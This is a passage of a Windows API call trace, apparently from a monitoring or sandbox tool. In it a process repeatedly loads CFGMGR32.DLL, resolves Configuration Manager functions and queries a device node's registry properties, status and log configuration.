lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0239.039] malloc (_Size=0x18) returned 0x20abc281d60 [0239.091] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x8, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0239.092] malloc (_Size=0x48) returned 0x20abc27cf80 [0239.092] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4a470192, dwHighDateTime=0x1d9eb0c)) [0239.092] SetEvent (hEvent=0x248) returned 1 [0239.096] malloc (_Size=0xd8) returned 0x20abc284e70 [0239.096] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0239.097] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0239.097] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0239.097] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0239.097] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0239.097] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0239.098] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0239.098] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0239.098] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0239.098] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0239.098] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0239.098] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0239.098] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0239.098] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0239.099] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0239.099] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0239.099] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0239.099] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0239.099] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0239.099] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0239.099] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0239.100] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0239.100] malloc (_Size=0x18) returned 0x20abc281c00 [0239.100] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x8, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0239.115] malloc (_Size=0x48) returned 0x20abc27cb20 [0239.115] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4a496295, dwHighDateTime=0x1d9eb0c)) [0239.115] SetEvent (hEvent=0x248) returned 1 [0239.120] malloc (_Size=0xd8) returned 0x20abc284e70 [0239.120] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0239.121] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0239.121] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0239.121] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0239.121] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0239.121] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0239.121] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0239.121] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0239.121] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0239.122] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0239.122] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0239.122] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0239.122] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0239.122] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0239.122] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0239.123] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0239.123] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0239.123] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0239.123] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0239.123] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0239.123] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0239.123] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0239.124] malloc (_Size=0x18) returned 0x20abc281b20 [0239.124] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x8, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0239.124] malloc (_Size=0x48) returned 0x20abc27cb20 [0239.124] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4a4bc638, dwHighDateTime=0x1d9eb0c)) [0239.125] SetEvent (hEvent=0x248) returned 1 [0239.129] malloc (_Size=0xd8) returned 0x20abc284e70 [0239.129] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0239.129] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0239.129] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0239.129] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0239.130] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0239.130] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0239.130] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0239.130] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0239.130] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0239.130] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0239.130] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0239.131] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0239.131] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0239.131] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0239.131] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0239.131] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0239.131] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0239.131] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0239.132] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0239.132] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0239.132] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0239.132] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0239.132] malloc (_Size=0x18) returned 0x20abc281c80 [0239.133] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x8, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0239.133] malloc (_Size=0x48) returned 0x20abc27cb20 [0239.133] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4a4bc638, dwHighDateTime=0x1d9eb0c)) [0239.133] SetEvent (hEvent=0x248) returned 1 [0239.140] malloc (_Size=0xd8) returned 0x20abc284e70 [0239.140] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0239.141] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0239.141] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0239.141] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0239.141] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0239.141] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0239.141] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0239.141] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0239.142] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0239.142] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0239.142] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0239.142] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0239.142] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0239.142] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0239.142] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0239.143] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0239.143] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0239.143] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0239.143] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0239.143] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0239.143] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0239.143] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0239.144] malloc (_Size=0x18) returned 0x20abc281c20 [0239.144] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x8, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0239.144] malloc (_Size=0x48) returned 0x20abc27cb20 [0239.144] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4a4e841b, dwHighDateTime=0x1d9eb0c)) [0239.145] SetEvent (hEvent=0x248) returned 1 [0239.207] malloc (_Size=0xd8) returned 0x20abc284e70 [0239.207] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0239.207] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0239.208] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0239.208] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0239.208] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0239.208] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0239.208] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0239.208] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0239.208] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0239.209] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0239.209] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0239.209] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0239.209] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0239.209] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0239.209] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0239.209] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0239.209] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0239.210] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0239.210] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0239.210] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0239.210] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0239.210] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0239.211] malloc (_Size=0x18) returned 0x20abc2819a0 [0239.211] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x8, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0239.215] malloc (_Size=0x48) returned 0x20abc27cf80 [0239.215] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4a5a215e, dwHighDateTime=0x1d9eb0c)) [0239.215] SetEvent (hEvent=0x248) returned 1 [0239.221] malloc (_Size=0xd8) returned 0x20abc284e70 [0239.221] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0239.222] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0239.222] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0239.222] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0239.222] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0239.223] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0239.223] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0239.223] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0239.223] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0239.224] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0239.224] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0239.224] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0239.224] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0239.225] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0239.225] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0239.225] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0239.225] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0239.225] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0239.226] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0239.226] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0239.226] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0239.226] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0239.227] malloc (_Size=0x18) returned 0x20abc281d40 [0239.227] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x8, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0239.227] malloc (_Size=0x48) returned 0x20abc27cf80 [0239.228] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x4a5a215e, dwHighDateTime=0x1d9eb0c)) [0239.228] SetEvent (hEvent=0x248) returned 1 [0239.235] malloc (_Size=0xd8) returned 0x20abc284e70 [0239.235] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0239.235] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0239.236] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0239.236] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0239.236] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0239.236] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0239.237] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0239.237] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0239.237] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0239.237] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0239.238] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0239.238] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0239.238] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0239.238] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0239.238] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0239.239] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0239.239] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0239.239] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0239.239] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0239.240] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0239.240] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0239.240] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0239.240] malloc (_Size=0x18) returned 0x20abc281be0 [0239.241] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x8, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0239.241] malloc (_Size=0x48) returned 0x20abc27cf80 [0239.241] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x4a5c7696, dwHighDateTime=0x1d9eb0c)) [0239.242] SetEvent (hEvent=0x248) returned 1 [0239.247] malloc (_Size=0xd8) returned 0x20abc284e70 [0239.247] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0239.248] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0239.248] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0239.248] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0239.249] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0239.249] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0239.249] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0239.249] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0239.249] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0239.250] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0239.250] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0239.250] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0239.250] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0239.251] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0239.251] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0239.251] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0239.251] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0239.251] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0239.252] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0239.252] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0239.252] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0239.252] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0239.253] malloc (_Size=0x18) returned 0x20abc281ec0 [0239.253] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x8, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0239.253] 